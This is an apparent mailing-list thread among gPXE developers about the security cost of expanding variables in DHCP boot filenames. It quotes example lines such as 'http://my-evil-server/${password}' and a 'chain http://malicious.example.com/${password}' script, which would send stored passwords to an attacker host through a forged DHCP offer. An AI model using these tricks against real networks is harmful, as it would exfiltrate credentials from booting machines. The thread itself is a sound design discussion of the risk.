But isn't that already possible? I.e. if a DHCPOFFER is maliciously sent to point to a script the attacker controls, that script could induce the same behavior? i.e. send a boot filename 'http://malicious.example.com/evilscript' and that script has 'chain http://malicious.example.com/${password}'? How does advancing the evaluation of variables change the exposure?
On Fri, May 21, 2010 at 2:18 AM, Stefan Hajnoczi <[email protected]> wrote: > On Thu, May 20, 2010 at 7:44 PM, Miller, Shao > <[email protected]> wrote: > > On a related note, is it horribly objectionable or a bad idea for > expand_command from exec.c to be called from boot_next_server_and_filename > from autoboot.c? Failing that I'll contemplate an embedded script, but lack > of conditionals is gPXE scripting could prove to be a touchy thing. > > A side-effect of expanding variables in DHCP boot filenames is that it > can be used to expose settings, e.g.: > > http://my-evil-server/${password} > > This could be a security issue in some cases, since a fake DHCP > response can be used to dump out passwords (perhaps stored on the > network card using non-volatile settings). Other than that, I think > it would be useful. > > Also, I just checked gPXE's URI parsing code to make sure there is no > way of specifying a relative HTTP URL. That might have worked as an > alternative, but it is not possible. > > Stefan >
_______________________________________________ gPXE-devel mailing list [email protected] http://etherboot.org/mailman/listinfo/gpxe-devel
